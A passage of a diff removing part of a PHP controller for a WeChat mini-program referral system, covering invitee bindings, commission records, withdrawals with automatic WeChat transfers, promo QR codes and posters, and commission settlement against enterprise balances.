if (!$user) { - return error('未登录', 401); - } - - $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $tab = (int) Request::param('tab', 0); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(50, (int) Request::param('pageSize', 20)); - $now = time(); - - $query = Db::name('distribution_bindings') - ->alias('b') - ->leftJoin('wechat_users u', 'b.inviteeId = u.id') - ->field('b.id, b.inviteeId, b.expireAt, b.status, b.createdAt, b.overriddenAt, - u.nickname, u.avatar') - ->where('b.inviterId', $inviterId); - - switch ($tab) { - case 1: // 已付款 - $paidInviteeIds = Db::name('commission_records') - ->where('inviterId', $inviterId) - ->whereIn('status', ['paid', 'frozen']) - ->column('inviteeId'); - if (empty($paidInviteeIds)) { - return success(['list' => [], 'total' => 0, 'page' => $page, 'pageSize' => $pageSize]); - } - $query->whereIn('b.inviteeId', array_unique($paidInviteeIds)); - break; - case 2: // 已过期 - $query->where(function ($q) use ($now) { - $q->where('b.status', 'overridden') - ->whereOr(function ($q2) use ($now) { - $q2->where('b.status', 'active')->where('b.expireAt', '<=', $now); - }); - }); - break; - default: // 绑定中 - $query->where('b.status', 'active')->where('b.expireAt', '>', $now); - break; - } - - $total = (clone $query)->count(); - $list = $query->order('b.updatedAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - foreach ($list as &$row) { - $row['expireAt'] = (int) $row['expireAt']; - $row['remainDays'] = max(0, (int) ceil(($row['expireAt'] - $now) / 86400)); - $row['avatar'] = $row['avatar'] ?: ''; - $row['nickname'] = $row['nickname'] ?: '微信用户'; - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } - - // ───────────────────────────────────────────────────────────── - // GET /api/distribution/commissions - // 我的佣金记录(分页) - // ───────────────────────────────────────────────────────────── - public function commissions() - { - $user = $this->resolveUser(); - if (!$user) { - return error('未登录', 401); - } - - $inviterId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(50, (int) Request::param('pageSize', 20)); - - $list = Db::name('commission_records') - ->alias('c') - ->leftJoin('wechat_users u', 'c.inviteeId = u.id') - ->field('c.id, c.commissionFen, c.orderAmount, c.status, c.scope, c.createdAt, - c.frozenAt, c.unfrozenAt, u.nickname, u.avatar') - ->where('c.inviterId', $inviterId) - ->order('c.createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - $total = Db::name('commission_records') - ->where('inviterId', $inviterId) - ->count(); - - foreach ($list as &$row) { - $row['commissionYuan'] = number_format($row['commissionFen'] / 100, 2, '.', ''); - $row['orderYuan'] = number_format($row['orderAmount'] / 100, 2, '.', ''); - $row['nickname'] = $row['nickname'] ?: '微信用户'; - $row['avatar'] = $row['avatar'] ?: ''; - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } - - // ───────────────────────────────────────────────────────────── - // POST /api/distribution/withdraw - // 申请提现 - // ───────────────────────────────────────────────────────────── - public function withdraw() - { - $user = $this->resolveUser(); - if (!$user) { - return error('未登录', 401); - } - - $this->expirePendingWithdrawals(); - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $amountFen = (int) Request::param('amountFen', 0); - $scope = Request::param('scope', 'personal'); - $eid = $scope === 'enterprise' ? (int) Request::param('eid', 0) : null; - - list($minFen, $maxFen) = self::getWithdrawLimits($scope, $eid); - if ($amountFen < $minFen) { - return error('最低提现金额为 ' . round($minFen / 100, 2) . ' 元', 400); - } - if ($maxFen > 0 && $amountFen > $maxFen) { - return error('最高提现金额为 ' . round($maxFen / 100, 2) . ' 元', 400); - } - - $wallet = Db::name('wechat_users') - ->where('id', $userId) - ->field('walletBalance') - ->find(); - - if (!$wallet || (int) $wallet['walletBalance'] < $amountFen) { - return error('余额不足', 400); - } - - // 检查是否有待审核的提现申请(status=0 审核中) - $pending = Db::name('distribution_withdrawals') - ->where('userId', $userId) - ->where('status', 0) - ->count(); - if ($pending > 0) { - return error('您有待处理的提现申请,请等待审核完成后再次申请', 400); - } - - // 手续费(分):按全局配置 enterprise_id=0 的 withdrawFee 比例计算 - $cfg = self::getDistributionConfig($scope ?: 'personal', $eid); - $feePct = (float)($cfg['withdrawFee'] ?? 0); - $feeFen = (int) round($amountFen * $feePct / 100); - $actualFen = $amountFen - $feeFen; - if ($actualFen < $minFen) { - return error('实际到账金额不得低于最低提现金额 ' . number_format($minFen / 100, 2, '.', '') . ' 元', 400); - } - - $requireAudit = (isset($cfg['requireAudit']) ? $cfg['requireAudit'] : true) !== false; - - $now = time(); - Db::startTrans(); - try { - // 冻结余额 - Db::name('wechat_users') - ->where('id', $userId) - ->dec('walletBalance', $amountFen) - ->update(['updatedAt' => $now]); - - // 写入提现申请:status=0 审核中,并记录手续费(需 insertGetId 以便免审核时更新) - $withdrawId = Db::name('distribution_withdrawals')->insertGetId([ - 'userId' => $userId, - 'amountFen' => $amountFen, - 'feeFen' => $feeFen, - 'status' => 0, - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - return error('申请提现失败:' . $e->getMessage(), 500); - } - - // 免审核:自动发起微信转账 - if (!$requireAudit && $withdrawId > 0) { - $wechatUser = Db::name('wechat_users')->where('id', $userId)->field('openid')->find(); - $openid = $wechatUser['openid'] ?? ''; - if (empty($openid)) { - Db::startTrans(); - try { - Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); - Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ - 'status' => 1, - 'auditNote' => '无 openid 无法自动打款,请联系管理员', - 'auditAt' => time(), - 'updatedAt' => time(), - ]); - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - } - return error('无法自动打款:未绑定微信 openid,请联系管理员', 400); - } - - try { - $outBillNo = 'TX' . date('YmdHis') . mt_rand(1000, 9999) . $withdrawId; - $service = new \app\common\service\WechatTransferService(); - $result = $service->createTransfer([ - 'out_bill_no' => $outBillNo, - 'openid' => $openid, - 'transfer_amount' => $amountFen, - 'transfer_remark' => '推广佣金提现', - 'transfer_scene_id' => env('TRANSFER_SCENE_ID', '1005'), - 'transfer_scene_report_infos' => [ - ['info_type' => '岗位类型', 'info_content' => '推广人员'], - ['info_type' => '报酬说明', 'info_content' => '推广佣金提现'], - ], - 'notify_url' => env('WITHDRAW_NOTIFY_URL', ''), - ]); - - if ($result['success'] === true) { - $wechatData = $result['data'] ?? []; - $transferBillNo = $wechatData['transfer_bill_no'] ?? $wechatData['batch_id'] ?? null; - $wechatState = $wechatData['state'] ?? $wechatData['batch_status'] ?? 'PROCESSING'; - Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ - 'status' => 2, - 'auditAt' => $now, - 'updatedAt' => $now, - 'pay_type' => 'wechat', - 'out_bill_no' => $outBillNo, - 'transfer_bill_no' => $transferBillNo, - 'wechat_pay_state' => $wechatState, - 'transfer_scene_id' => $wechatData['transfer_scene_id'] ?? env('TRANSFER_SCENE_ID', '1005'), - 'package_info' => $wechatData['package_info'] ?? '', - 'mch_id' => env('MCH_ID', null), - ]); - return success(null, '提现申请已提交,已自动发起微信转账'); - } - - $err = $result['error'] ?? []; - $code = $err['code'] ?? 'UNKNOWN'; - $msg = $err['message'] ?? '微信转账接口调用失败'; - Db::startTrans(); - try { - Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); - Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ - 'status' => 1, - 'auditNote' => "微信转账发起失败({$code}):{$msg}", - 'auditAt' => time(), - 'updatedAt' => time(), - ]); - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - } - return error("自动打款失败({$code}):{$msg}", 500); - } catch (\Exception $e) { - Db::startTrans(); - try { - Db::name('wechat_users')->where('id', $userId)->inc('walletBalance', $amountFen)->update(['updatedAt' => time()]); - Db::name('distribution_withdrawals')->where('id', $withdrawId)->update([ - 'status' => 1, - 'auditNote' => '自动打款异常:' . $e->getMessage(), - 'auditAt' => time(), - 'updatedAt' => time(), - ]); - Db::commit(); - } catch (\Exception $ex) { - Db::rollback(); - } - return error('自动打款异常:' . $e->getMessage(), 500); - } - } - - return success(null, '提现申请已提交,请等待审核'); - } - - // ───────────────────────────────────────────────────────────── - // GET /api/distribution/withdrawals - // 我的提现记录 - // ───────────────────────────────────────────────────────────── - public function withdrawals() - { - $user = $this->resolveUser(); - if (!$user) { - return error('未登录', 401); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $page = max(1, (int) Request::param('page', 1)); - $pageSize = min(50, (int) Request::param('pageSize', 20)); - - $this->expirePendingWithdrawals(); - - $list = Db::name('distribution_withdrawals') - ->where('userId', $userId) - ->order('createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - $total = Db::name('distribution_withdrawals') - ->where('userId', $userId) - ->count(); - - foreach ($list as &$row) { - $row['amountYuan'] = number_format($row['amountFen'] / 100, 2, '.', ''); - $feeFen = (int)($row['feeFen'] ?? 0); - $row['feeYuan'] = number_format($feeFen / 100, 2, '.', ''); - } - - return success(['list' => $list, 'total' => $total, 'page' => $page, 'pageSize' => $pageSize]); - } - - // ───────────────────────────────────────────────────────────── - // POST /api/distribution/withdrawals/query-transfer - // 用户确认收款后,主动查询微信转账单状态并更新本地订单(及时刷新) - // 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716437 - // ───────────────────────────────────────────────────────────── - public function queryTransfer() - { - $user = $this->resolveUser(); - if (!$user) { - return error('未登录', 401); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $id = (int) Request::param('id', 0); - if ($id <= 0) { - return error('参数错误', 400); - } - - $record = Db::name('distribution_withdrawals') - ->where('id', $id) - ->where('userId', $userId) - ->find(); - if (!$record) { - return error('提现记录不存在或无权限', 404); - } - - $outBillNo = trim((string) ($record['out_bill_no'] ?? '')); - if (!$outBillNo) { - return error('该提现单暂无商户单号,无法查询', 400); - } - - try { - $service = new \app\common\service\WechatTransferService(); - $result = $service->queryByOutBillNo($outBillNo); - } catch (\Throwable $e) { - Log::error('queryTransfer WechatTransferService error: ' . $e->getMessage()); - return error('查询转账状态失败:' . $e->getMessage(), 500); - } - - if ($result['success'] !== true || empty($result['data'])) { - $err = $result['error'] ?? []; - return error('查询失败:' . ($err['message'] ?? '未知错误'), 500); - } - - $data = $result['data']; - $state = trim((string) ($data['state'] ?? '')); - $now = time(); - $billNo = $data['transfer_bill_no'] ?? null; - - if ($state === 'SUCCESS') { - Db::name('distribution_withdrawals')->where('id', $id)->update([ - 'status' => 3, - 'wechat_pay_state' => $state, - 'transfer_bill_no' => $billNo, - 'transferAt' => $now, - 'updatedAt' => $now, - ]); - return success(['status' => 3, 'statusLabel' => '已收款'], '已收款'); - } - - if ($state === 'FAIL') { - Db::startTrans(); - try { - Db::name('wechat_users') - ->where('id', $record['userId']) - ->inc('walletBalance', (int) $record['amountFen']) - ->update(['updatedAt' => $now]); - Db::name('distribution_withdrawals')->where('id', $id)->update([ - 'status' => 1, - 'auditNote' => $data['fail_reason'] ?? '微信转账失败', - 'wechat_pay_state' => $state, - 'transfer_bill_no' => $billNo, - 'updatedAt' => $now, - ]); - Db::commit(); - } catch (\Throwable $e) { - Db::rollback(); - Log::error('queryTransfer FAIL rollback: ' . $e->getMessage()); - return error('更新失败', 500); - } - return success(['status' => 1, 'statusLabel' => '已驳回'], '转账失败,余额已退回'); - } - - return success(['status' => (int) $record['status'], 'state' => $state], '状态未变更'); - } - - // ───────────────────────────────────────────────────────────── - // GET /api/distribution/qrcode - // 生成当前用户专属小程序推广码,直接输出 PNG 二进制流 - // 可选参数:scope=personal|enterprise;eid=企业ID(仅 scope=enterprise 时有效) - // ───────────────────────────────────────────────────────────── - public function qrcode() - { - $user = $this->resolveUser(); - if (!$user) { - http_response_code(401); - exit('Unauthorized'); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $scope = Request::param('scope', ''); - // 显式传 scope=personal 时强制个人版,不认 eid - $enterpriseId = ($scope === 'personal') ? null : Request::param('eid', null); - $enterpriseId = $enterpriseId !== null ? (int) $enterpriseId : null; - - // scene 参数:uid=用户ID(+eid=企业ID),最长 32 字符 - if ($enterpriseId) { - $scene = "uid={$userId}&eid={$enterpriseId}"; - $page = 'pages/enterprise/index'; - } else { - $scene = "uid={$userId}"; - $page = 'pages/index/index'; - } - - // 调用微信接口生成小程序码 - $result = WechatService::getWxacodeUnlimited($scene, $page, 280); - - if (isset($result['errcode'])) { - http_response_code(500); - exit(json_encode(['code' => 500, 'msg' => '生成小程序码失败:' . ($result['errmsg'] ?? '未知错误')])); - } - - // 直接输出 PNG 二进制流,供 wx.downloadFile 使用 - header('Content-Type: image/png'); - header('Cache-Control: max-age=3600'); - echo $result['binary']; - exit(); - } - - // ───────────────────────────────────────────────────────────── - // GET /api/distribution/poster - // 生成完整海报(后端合成头像+二维码),直接输出 PNG - // ───────────────────────────────────────────────────────────── - public function poster() - { - $user = $this->resolveUser(); - if (!$user) { - http_response_code(401); - exit('Unauthorized'); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - $scope = Request::param('scope', ''); - // scope=personal 时不读 eid 参数 - $eidParam = ($scope === 'personal') ? null : Request::param('eid', null); - $enterpriseId = $eidParam !== null ? (int) $eidParam : null; - - if ($userId <= 0) { - http_response_code(400); - exit(json_encode(['code' => 400, 'msg' => '用户信息异常'])); - } - - $wechatUser = Db::name('wechat_users') - ->where('id', $userId) - ->field('id, nickname, avatar, enterpriseId') - ->find(); - - // 未显式传 eid 且非强制个人版时,从用户 DB 记录自动取企业 ID - if ($enterpriseId === null && $scope !== 'personal' && !empty($wechatUser['enterpriseId'])) { - $enterpriseId = (int) $wechatUser['enterpriseId']; - } - $userData = [ - 'id' => $userId, - 'nickname' => $wechatUser['nickname'] ?? '好友', - 'avatar' => $wechatUser['avatar'] ?? '', - ]; - - $scene = $enterpriseId ? "uid={$userId}&eid={$enterpriseId}" : "uid={$userId}"; - $page = $enterpriseId ? 'pages/enterprise/index' : 'pages/index/index'; - $qrResult = WechatService::getWxacodeUnlimited($scene, $page, 280); - - if (isset($qrResult['errcode'])) { - http_response_code(500); - exit(json_encode(['code' => 500, 'msg' => '生成小程序码失败:' . ($qrResult['errmsg'] ?? '')])); - } - - $avatarBinary = null; - if (!empty($userData['avatar'])) { - $avatarBinary = PosterService::fetchImage($userData['avatar']); - } - - try { - $png = PosterService::buildFromConfig($userData, $qrResult['binary'], $avatarBinary, $enterpriseId); - } catch (\Throwable $e) { - http_response_code(500); - exit(json_encode(['code' => 500, 'msg' => '海报合成失败:' . $e->getMessage()])); - } - - header('Content-Type: image/png'); - header('Cache-Control: max-age=3600'); - echo $png; - exit(); - } - - // ───────────────────────────────────────────────────────────── - // 内部方法:订单付款成功后结算佣金(由 Payment/notify 调用) - // $orderId: orders.id (整数) - // ───────────────────────────────────────────────────────────── - public static function settleCommission(int $orderId): void - { - $order = Db::name('orders') - ->where('id', $orderId) - ->field('id, userId, enterpriseId, amount, status') - ->find(); - - if (!$order || $order['status'] !== 'paid') { - return; - } - - $inviteeId = (int) $order['userId']; - $orderAmount = (int) $order['amount']; - $enterpriseId = !empty($order['enterpriseId']) ? (int) $order['enterpriseId'] : null; - $scope = $enterpriseId ? 'enterprise' : 'personal'; - $now = time(); - - // 【第一步】精确匹配:scope + enterpriseId 与订单完全一致 - $binding = Db::name('distribution_bindings') - ->where('inviteeId', $inviteeId) - ->where('scope', $scope) - ->where(function ($q) use ($enterpriseId) { - if ($enterpriseId) { - $q->where('enterpriseId', $enterpriseId); - } else { - $q->whereNull('enterpriseId'); - } - }) - ->where('status', 'active') - ->where('expireAt', '>', time()) - ->find(); - - // 【第二步】回退匹配:精确未命中时,查找任意有效的 personal 绑定 - // 跨 scope 场景(如企业版订单但推荐人仅持有 personal 绑定),以个人版配置+平台资金结算 - $fallbackScope = $scope; - $fallbackEnterpriseId = $enterpriseId; - if (!$binding && $scope === 'enterprise') { - $binding = self::findActivePersonalBinding($inviteeId, $enterpriseId); - if ($binding) { - $fallbackScope = 'personal'; - $fallbackEnterpriseId = !empty($binding['enterpriseId']) ? (int) $binding['enterpriseId'] : null; - } - } - - if (!$binding) { - return; - } - - // 实际用于结算的 scope/enterpriseId(可能已回退为 personal) - $scope = $fallbackScope; - $enterpriseId = $fallbackEnterpriseId; - - $inviterId = (int) $binding['inviterId']; - - // 从订单关联的 test_results 中取 testType,用于读取 per-test 佣金配置 - $testType = null; - try { - $tr = Db::name('test_results')->where('orderId', $orderId)->field('testType')->find(); - if ($tr) $testType = $tr['testType'] === 'ai' ? 'face' : ($tr['testType'] ?? null); - } catch (\Throwable $e) {} - - // 读取佣金配置(优先 per-test testSettings,回退全局) - list($rate, $amountFen) = self::getTestCommissionConfig($testType, $scope, $enterpriseId); - $commissionFen = 0; - if ($amountFen > 0) { - $commissionFen = $amountFen; - $rate = 0; - } elseif ($rate > 0) { - $commissionFen = (int) floor($orderAmount * $rate / 100); - } - if ($commissionFen <= 0) { - return; - } - - // 避免同一订单重复结算 - $exists = Db::name('commission_records') - ->where('orderId', $orderId) - ->find(); - if ($exists) { - return; - } - - Db::startTrans(); - try { - $commissionStatus = 'pending'; - - if ($enterpriseId) { - // 企业上下文:优先从企业余额扣款,余额不足则冻结 - $enterprise = Db::name('enterprises') - ->where('id', $enterpriseId) - ->field('id, balance') - ->lock(true) - ->find(); - - $balanceFen = (int) ($enterprise['balance'] ?? 0); - - if ($enterprise && $balanceFen >= $commissionFen) { - // 余额充足,直接结算 - $newBalanceFen = $balanceFen - $commissionFen; - Db::name('enterprises') - ->where('id', $enterpriseId) - ->update([ - 'balance' => $newBalanceFen, - 'updatedAt' => $now, - ]); - - Db::name('finance_records')->insert([ - 'enterpriseId' => $enterpriseId, - 'type' => 'consume', - 'amount' => $commissionFen, - 'balanceBefore' => $balanceFen, - 'balanceAfter' => $newBalanceFen, - 'description' => self::buildCommissionFinanceDescription($inviteeId, $testType, 'order_paid'), - 'orderId' => $orderId, - 'createdAt' => $now, - ]); - - // 推荐人钱包入账 - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletBalance', $commissionFen) - ->inc('walletTotalEarned', $commissionFen) - ->update(['updatedAt' => $now]); - - $commissionStatus = 'paid'; - } else { - // 余额不足,冻结 - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletPending', $commissionFen) - ->update(['updatedAt' => $now]); - - $commissionStatus = 'frozen'; - } - } else { - // 无企业上下文:平台直接发放(入账钱包) - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletBalance', $commissionFen) - ->inc('walletTotalEarned', $commissionFen) - ->update(['updatedAt' => $now]); - - $commissionStatus = 'paid'; - } - - // 写佣金记录 - Db::name('commission_records')->insert([ - 'agentId' => $inviterId, - 'orderId' => $orderId, - 'scope' => $scope, - 'enterpriseId' => $enterpriseId, - 'inviterId' => $inviterId, - 'inviteeId' => $inviteeId, - 'bindingId' => (int) $binding['id'], - 'commissionRate'=> $rate, - 'orderAmount' => $orderAmount, - 'commissionFen' => $commissionFen, - 'commissionAmount' => number_format($commissionFen / 100, 2, '.', ''), - 'status' => $commissionStatus, - 'frozenAt' => $commissionStatus === 'frozen' ? $now : null, - 'paidAt' => $commissionStatus === 'paid' ? $now : null, - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - } - } - - // ───────────────────────────────────────────────────────────── - // 内部方法:企业充值后解冻冻结中的佣金 - // $enterpriseId: 企业ID - // ───────────────────────────────────────────────────────────── - public static function unfreezeCommissions(int $enterpriseId): void - { - $now = time(); - - // 找出该企业所有冻结中的佣金(按时间升序,先冻先解) - $frozenList = Db::name('commission_records') - ->where('enterpriseId', $enterpriseId) - ->where('status', 'frozen') - ->order('createdAt', 'asc') - ->select() - ->toArray(); - - if (empty($frozenList)) { - return; - } - - $enterprise = Db::name('enterprises') - ->where('id', $enterpriseId) - ->field('id, balance') - ->lock(true) - ->find(); - - if (!$enterprise) { - return; - } - - $balanceFen = (int) ($enterprise['balance'] ?? 0); - - Db::startTrans(); - try { - foreach ($frozenList as $record) { - $commissionFen = (int) $record['commissionFen']; - if ($balanceFen < $commissionFen) { - break; - } - - $balanceFen -= $commissionFen; - $inviterId = (int) $record['inviterId']; - - // 更新佣金记录状态 - Db::name('commission_records') - ->where('id', $record['id']) - ->update([ - 'status' => 'paid', - 'paidAt' => $now, - 'unfrozenAt' => $now, - 'updatedAt' => $now, - ]); - - $recordTestType = null; - if (($record['commissionSource'] ?? '') === 'test_completion') { - $recordTestType = Db::name('test_results') - ->where('id', (int) ($record['testResultId'] ?? 0)) - ->value('testType'); - } elseif (!empty($record['orderId'])) { - $recordTestType = self::getOrderTestType((int) $record['orderId']); - } - - Db::name('finance_records')->insert([ - 'enterpriseId' => $enterpriseId, - 'type' => 'consume', - 'amount' => $commissionFen, - 'balanceBefore' => $balanceFen + $commissionFen, - 'balanceAfter' => $balanceFen, - 'description' => self::buildCommissionFinanceDescription((int) ($record['inviteeId'] ?? 0), $recordTestType, 'unfrozen'), - 'orderId' => !empty($record['orderId']) ? (int) $record['orderId'] : null, - 'createdAt' => $now, - ]); - - // 推荐人钱包:pending 转 balance - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletBalance', $commissionFen) - ->dec('walletPending', $commissionFen) - ->inc('walletTotalEarned', $commissionFen) - ->update(['updatedAt' => $now]); - } - - // 更新企业余额 - Db::name('enterprises') - ->where('id', $enterpriseId) - ->update([ - 'balance' => $balanceFen, - 'updatedAt' => $now, - ]); - - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - } - } - - /** - * 读取提现上下限(分) - * @return array{int,int} [minFen, maxFen] maxFen=0 表示不限制 - */ - private static function getWithdrawLimits(string $scope, ?int $enterpriseId): array - { - $cfg = self::getDistributionConfig($scope, $enterpriseId); - $minFen = max(self::MIN_WITHDRAW_FEN, min(self::MAX_WITHDRAW_FEN, (int)($cfg['minWithdrawFen'] ?? self::MIN_WITHDRAW_FEN))); - $maxFen = (int)($cfg['maxWithdrawFen'] ?? 0); - if ($maxFen > 0) { - $maxFen = min(self::MAX_WITHDRAW_FEN, $maxFen); - } - return [$minFen, $maxFen]; - } - - /** - * 读取分销配置 - * 企业模式:enterprise_id={eid} 行,不存在则降级到 enterprise_id=0 全局行 - * 个人版:enterprise_id=0 行 - */ - private static function getDistributionConfig(string $scope, ?int $enterpriseId): array - { - if ($enterpriseId > 0) { - $config = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', $enterpriseId) - ->find(); - if ($config && $config['value']) { - $cfg = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; - if (is_array($cfg)) return $cfg; - } - } - // 全局/个人版配置(enterprise_id=0) - $config = Db::name('system_config') - ->where('key', 'distribution') - ->where('enterprise_id', 0) - ->find(); - if ($config && $config['value']) { - $cfg = is_string($config['value']) ? json_decode($config['value'], true) : $config['value']; - if (is_array($cfg)) return $cfg; - } - return []; - } - - /** - * 读取佣金配置,返回 [rate, amountFen];比例模式 rate>0 amountFen=0,金额模式 amountFen>0 rate=0 - * @deprecated 用 getTestCommissionConfig 替代 - */ - private static function getCommissionConfig(string $scope, ?int $enterpriseId): array - { - $cfg = self::getDistributionConfig($scope, $enterpriseId); - $type = $cfg['commissionType'] ?? 'ratio'; - if ($type === 'amount') { - $amountFen = (int)($cfg['commissionAmountFen'] ?? 0); - return [0, $amountFen]; - } - $rate = (int)($cfg['commissionRate'] ?? 90); - return [$rate, 0]; - } - - /** - * 读取指定测试类型的佣金配置 [rate, amountFen] - * 优先使用 testSettings[testType],若无则回退全局 commissionRate/commissionAmountFen - */ - private static function getTestCommissionConfig(?string $testType, string $scope, ?int $enterpriseId): array - { - $ts = self::resolveTestSetting($testType, $enterpriseId); - if ($ts) { - $commType = $ts['commissionType'] ?? 'ratio'; - if ($commType === 'amount') { - return [0, (int)($ts['commissionAmountFen'] ?? 0)]; - } - return [(int)($ts['commissionRate'] ?? 90), 0]; - } - return self::getCommissionConfig($scope, $enterpriseId); - } - - /** - * 解析某测试类型的 testSettings 配置(企业优先,回退全局),返回 null 表示未启用 - */ - private static function resolveTestSetting(?string $testType, ?int $enterpriseId): ?array - { - if (!$testType) return null; - $tryEids = array_filter([$enterpriseId > 0 ? $enterpriseId : null, null], fn($v) => $v !== false); - foreach ($tryEids as $eid) { - $cfg = self::getDistributionConfig('personal', $eid); - $ts = $cfg['testSettings'][$testType] ?? null; - if ($ts && !empty($ts['enabled'])) { - return $ts; - } - } - return null; - } - - /** - * 查找 personal 维度有效绑定: - * 1. 优先 `enterpriseId = 当前企业` - * 2. 其次 `enterpriseId IS NULL` - */ - private static function findActivePersonalBinding(int $inviteeId, ?int $enterpriseId): ?array - { - if ($enterpriseId > 0) { - $binding = Db::name('distribution_bindings') - ->where('inviteeId', $inviteeId) - ->where('scope', 'personal') - ->where('enterpriseId', $enterpriseId) - ->where('status', 'active') - ->where('expireAt', '>', time()) - ->find(); - if ($binding) { - return $binding; - } - } - - $binding = Db::name('distribution_bindings') - ->where('inviteeId', $inviteeId) - ->where('scope', 'personal') - ->whereNull('enterpriseId') - ->where('status', 'active') - ->where('expireAt', '>', time()) - ->find(); - - return $binding ?: null; - } - - /** - * 读取佣金比例配置(百分比整数,兼容旧逻辑) - */ - private static function getCommissionRate(string $scope, ?int $enterpriseId): int - { - list($rate, $amountFen) = self::getCommissionConfig($scope, $enterpriseId); - return $rate; - } - - /** - * 根据订单读取测试类型 - */ - private static function getOrderTestType(int $orderId): ?string - { - if ($orderId <= 0) { - return null; - } - - $testType = Db::name('test_results') - ->where('orderId', $orderId) - ->value('testType'); - - if (!$testType) { - return null; - } - - return $testType === 'ai' ? 'face' : $testType; - } - - /** - * 获取用户展示名称 - */ - private static function getUserDisplayName(int $userId): string - { - if ($userId <= 0) { - return '未知用户'; - } - - $nickname = Db::name('wechat_users') - ->where('id', $userId) - ->value('nickname'); - - return $nickname ? (string) $nickname : ('用户' . $userId); - } - - /** - * 测试类型文案 - */ - private static function getTestTypeLabel(?string $testType): string - { - $normalized = $testType === 'ai' ? 'face' : (string) $testType; - $map = [ - 'face' => '人脸', - 'mbti' => 'MBTI', - 'disc' => 'DISC', - 'pdp' => 'PDP', - ]; - - return $map[$normalized] ?? strtoupper($normalized ?: '未知测试'); - } - - /** - * 企业财务流水中的佣金支出说明 - */ - private static function buildCommissionFinanceDescription(int $inviteeId, ?string $testType, string $scene): string - { - $userName = self::getUserDisplayName($inviteeId); - $testLabel = self::getTestTypeLabel($testType); - - if ($scene === 'unfrozen') { - return '佣金支出:用户' . $userName . '测试' . $testLabel . '完成分销(冻结后解冻)'; - } - - return '佣金支出:用户' . $userName . '测试' . $testLabel . '完成分销'; - } - - // ───────────────────────────────────────────────────────────── - // 内部方法:测试完成后结算「测试完成佣金」(由 Test/submit 调用) - // 仅适用于 personal scope;只要有有效绑定即可,无需付款。 - // 防重:同一 testResultId 只结算一次。 - // ───────────────────────────────────────────────────────────── - public static function settleTestCommission(int $testResultId, int $inviteeId, string $testType): void - { - // 仅支持指定测试类型 - $allowedTypes = ['face', 'mbti', 'disc', 'pdp']; - // face/ai 统一归类为 face - $normalizedType = ($testType === 'ai') ? 'face' : $testType; - if (!in_array($normalizedType, $allowedTypes, true)) { - return; - } - - // 读取 testSettings 配置:优先读用户所属企业配置,未配置则回退全局 - $userEid = (int)(Db::name('wechat_users')->where('id', $inviteeId)->value('enterpriseId') ?? 0); - $tsConfig = self::resolveTestSetting($normalizedType, $userEid); - if (!$tsConfig || empty($tsConfig['enabled']) || empty($tsConfig['noPayment'])) { - return; - } - list($rate, $amountFen) = self::getTestCommissionConfig($normalizedType, 'personal', $userEid > 0 ? $userEid : null); - $commissionFen = 0; - if ($amountFen > 0) { - $commissionFen = $amountFen; - } elseif ($rate > 0) { - // noPayment 场景无订单金额,若为比例则跳过(无金额可算) - return; - } - if ($commissionFen <= 0) { - return; - } - - // 查找该用户 personal scope 的有效绑定:优先企业 personal 绑定,再回退全局 personal 绑定 - $binding = self::findActivePersonalBinding($inviteeId, $userEid > 0 ? $userEid : null); - if (!$binding) { - return; - } - - $inviterId = (int) $binding['inviterId']; - $recordEnterpriseId = $userEid > 0 - ? $userEid - : (((int)($binding['enterpriseId'] ?? 0)) > 0 ? (int)$binding['enterpriseId'] : null); - - // 防重:同一 testResultId 只允许一条 test_completion 佣金 - $exists = Db::name('commission_records') - ->where('testResultId', $testResultId) - ->where('commissionSource', 'test_completion') - ->find(); - if ($exists) { - return; - } - - $now = time(); - Db::startTrans(); - try { - $commissionStatus = 'paid'; - - if ($recordEnterpriseId) { - // 企业上下文:先扣企业余额;不足则冻结到后续补余额再解冻 - $enterprise = Db::name('enterprises') - ->where('id', $recordEnterpriseId) - ->field('id, balance') - ->lock(true) - ->find(); - - $balanceFen = (int) ($enterprise['balance'] ?? 0); - if ($enterprise && $balanceFen >= $commissionFen) { - $newBalanceFen = $balanceFen - $commissionFen; - Db::name('enterprises') - ->where('id', $recordEnterpriseId) - ->update([ - 'balance' => $newBalanceFen, - 'updatedAt' => $now, - ]); - - Db::name('finance_records')->insert([ - 'enterpriseId' => $recordEnterpriseId, - 'type' => 'consume', - 'amount' => $commissionFen, - 'balanceBefore' => $balanceFen, - 'balanceAfter' => $newBalanceFen, - 'description' => self::buildCommissionFinanceDescription($inviteeId, $normalizedType, 'test_completion'), - 'orderId' => null, - 'createdAt' => $now, - ]); - - Db::name('wechat_users') - ->where('id', $inviterId) - ->inc('walletBalance', $commissionFen) - 